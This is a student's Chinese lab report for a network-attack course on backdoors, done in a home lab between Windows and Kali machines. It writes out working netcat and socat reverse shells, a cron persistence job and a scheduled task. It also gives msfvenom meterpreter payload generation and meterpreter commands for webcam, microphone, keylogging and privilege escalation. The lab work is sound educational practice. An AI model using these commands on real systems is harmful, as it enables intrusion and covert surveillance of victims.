2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
实验内容
- 使用netcat获取主机操作Shell,cron启动;
- 使用socat获取主机操作Shell, 任务计划启动;
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
实验过程
实验准备及常用后门工具了解或测试
ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
准备
- 通过命令查看windows主机及kail机的ip,同时检查两者是否互ping通过
- 在老师提供的附件中下载
ncat.rar
windows(ipconfig):196.168.1.103
kail(ifconfig):196.168.1.104
windows获取linux Shell
- 在windows中用ncat打开一个监听端口,端口号5226
ncat.exe -l -p 5226
- 在kail中使用nc命令-e选项执行shell,反向连接至主机对应端口
nc 192.168.1.103 5226 -e /bin/sh
- 进入主机,通过命令ls/或其他,验证运行kail的shell
linux获取Windows shell
- 具体流程和上述差不多:kail下设置端口
nc -l -p 5226
,Windows下设置反向链接ncat.exe -e cmd.exe 192.168.1.104 5226
- 在kail中运行cmd.exe命令
通过nc在两者间传输数据
-
直接传输文字:主机下建立监听端口5226
ncat.exe -l 5226
,kail下建立连接至主机端口nc 192.168.1.103 5226
,建立成功后可进行文字传输 -
传输文件:Windows下建立端口同时定义接收地址
ncat.exe -l 5226 > file.in
,kail下创建测试文件file.out
,连接至主机进行文件输送nc 192.168.1.103 5226 < file.out
socat
- 其是ncat的增强版
- 使用格式:
socat [options] <address> <address>```,
address是必选项,而
options“是可选项 - 在后面任务二有具体应用,可先到老师提供附件下载
socat.rar
Meterperter
- 后门就是一个程序
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 详细点击链接
任务一、使用netcat获取主机操作Shell,cron启动
- 同准备阶段,在Windows中设立监听端口
ncat.exe -l -p 5226
- 通过百度或者
man cron
(看得懂的话)了解到:crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于对应文件中,以供之后读取和执行。 - 利用
crontab -e
指令编写一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3
即为vim编辑器
-
crontab -l
可查看编辑情况 -
增加命令为
24 * * * * /bin/netcat 192.168.1.103 5226 -e /bin/sh
即为每个小时的第24分钟时执行后方命令(数字填写以自己做实验的时间来定) -
当时间到后进行测试,此时可以看出未到时间时,是无法执行获取kail shell的
任务二、使用socat获取主机操作Shell, 任务计划启动
-
在Windows系统下,打开
控制面板->系统和安全->管理工具
找到任务计划程序开始创建任务 -
点击
触发器
选项卡,选择新建
,然后将开始任务设置为工作站锁定
时 -
点击
常规
选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5226 exec:cmd.exe,pty,stderr
(两个参数之间用空格或者;),这个命令的作用是把cmd.exe
绑定到端口5226
,同时把cmd.exe
的stderr
重定向到stdout
上:
-
创建完成之后,
windows+L
锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.1.103:5226
这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5226
端口,此时可以发现已经成功获得了一个cmd shell
-
在做任务二时可以新建
触发器像任务一一样定时完成,任务开始执行后命令和上面一样
任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=5226 -f exe > 20175226_backdoor.exe
此时因为在控制端生成后门,所以此ip为kail的ip地址
- 同准备阶段:将生成的后门程序传输到主机
- 在主机下执行
ncat.exe -l 5226 > 201725226_backdoor.exe
-
在kali中通过
nc 192.168.1.103 5226 < 20175226_backdoor.exe
将生成的后门程序传送到主机上 -
回到控制端,通过命令
msfconsole
进入控制台 - 调用监听模块,设置与生成后门时相同的payload,同时设置返回的ip和端口号
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.104
set LPORT 5226
- 设置完成,执行监听
exploit
- 回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell
任务四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 保持任务三,之后进行任务四操作
-
使用
record_mic
指令截获一段音频 -
使用
webcam_snap/webcam stream
指令可以使用摄像头进行拍照/摄影 -
使用
screenshot
指令可以进行截屏 -
在kali中使用
keyscan_start
指令开始,在windows中记录下击键的过程,使用keyscan_dump
指令读取击键的记录 -
先使用
getuid
指令查看当前用户,使用getsystem
指令进行提权(提权操作可在别的win7虚拟机下进行)
任务五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
- 此任务在通过学习老师给的资料及[学姐的博客](https://www.cnblogs.com/clever-universe/p/8691365.html)得以完成
- 首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。与任务三不同在linux中有效载荷不同linux中的有效载荷为
linux/x86/meterpreter/reverse_tcp
可通过命令msfvenom -l payload
-
通过命令生成后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=5226 -x pwn1 -f elf > overdoor_2_5
- 因为我们需要注入pwn1所以选用的格式为ELF;-x参数用来指定我们的模板pwn1就写入到pwn1这个可执行文件中。
-
最后就是按照之前的步骤使用两个终端检验后门程序的注入情况
不过这个程序需要``chmod +x``修改一些程序权限后门才能运行
实验总结
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 捆绑在下载的软件或者在浏览网页的某些链接中,当你下载或者误点链接时就带到了自己的系统中
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- win中可以与某些自启动项绑定,开机时自动启动
- Linux可以通过cron启动
- 或更改某些软件的快捷路径
(3)Meterpreter有哪些给你映像深刻的功能?
- 获取目标的摄像头,录音机等权限进行拍摄、录音记录
- 可以记录下目标键盘的输入
(4)如何发现自己有系统有没有被安装后门?
- 查看系统的自启动项,注册表有无异常
- 安装杀毒软件扫描,观察各软件及其捆绑有无异常
实验总结与反思
- 首先就实验过程来说还是除了电脑偶尔抽风也是比较顺利,当然我的问题也和大家差不多Windows10也是无法提权,但是由于我的win7被我删了我就没有继续进行了。其次是一些指令之类的了,这次有些指令又长又难搞记忆最深就是
meterpreter
沉浸在erre无法自拔,明明是指令的问题但是就是看不出来也是耗费了不少的时间。 - 然后就是这次实验后门过程确实和之前信安概论的木马实验好像也都在获取对方的各项东西,但这次相对感觉难很多,毕竟那个就是点点点也不需要什么指令。也感受到了这些攻击的可怕与强大吧,现在想想说不定我电脑里都有好多我不知道的后门(怪不得QQ被盗了),不过这东西自己玩还是挺有意思的。